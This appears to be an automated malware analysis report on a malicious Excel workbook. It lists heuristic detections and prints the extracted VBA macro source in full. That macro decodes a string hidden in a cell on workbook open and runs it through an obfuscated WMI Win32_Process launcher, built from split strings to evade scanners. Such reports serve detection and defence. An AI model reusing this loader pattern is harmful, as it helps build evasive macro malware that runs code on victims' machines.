MALICIOUS
322
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
This OOXML document contains both VBA and Excel 4.0 macros. The VBA macros utilize a Workbook_Open event and the GetObject function to execute arbitrary code, specifically by launching a process via WMI. The Excel 4.0 macrosheet further indicates a multi-faceted approach to code execution. The obfuscated VBA script attempts to reassemble the string 'winmgmts' to facilitate WMI calls.
Heuristics 8
-
Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3312 bytes |
SHA-256: 2bbb9813d4667f176cd92986b19283ef7425a2e8c2f4f5908dd2f4322b7df0e3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "BuÇalismaKitabi"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Sub Ariosto(ByVal Unthinkingly As String)
Dim Lemuria As Long: Dim InvIgoratIon() As Byte
GoTo UnderstUdy
Plutonian:
Hematocryal StrConv(InvIgoratIon, 64, 1055)
Exit Sub
Lothario:
For Lemuria = 0 To UBound(InvIgoratIon)
InvIgoratIon(Lemuria) = Abs(InvIgoratIon(Lemuria) - 6)
Next
GoTo Plutonian
Exit Sub
UnderstUdy:
InvIgoratIon = StrConv(Unthinkingly, 128, 1055)
GoTo Lothario
Exit Sub
End Sub
Sub Workbook_Open()
Call Busses
End Sub
Private Sub Busses()
Dim Unthinkingly As String: Unthinkingly = Sheets("c1cca71962e5a48").Cells(134, 8).Value
Ariosto Unthinkingly
End Sub
Private Sub Hematocryal(ByVal Overeye As String)
Dim SnowmaSt As String: SnowmaSt = "."
If Overeye <> "" Then
GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & SnowmaSt & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create Overeye, Null, Null, 0
Else
MsgBox "Promted usr764 ."
GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0
End If
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 12800 bytes |
SHA-256: af253be64f366b635a11b1f6d1c2c7121f95c3be4281d17fe5db4a31f525e4b8 |
|||
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 1199 bytes |
SHA-256: 0e0b1c83156e0713f599d681e891d291cce2804e8d207e2c37e81a60422a9e65 |
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B9CF56FF-09E2-4E96-AE17-1B9837A59CDA}"><dimension ref="H134"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="134" spans="8:8" x14ac:dyDescent="0.25"><c r="H134" t="s"><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.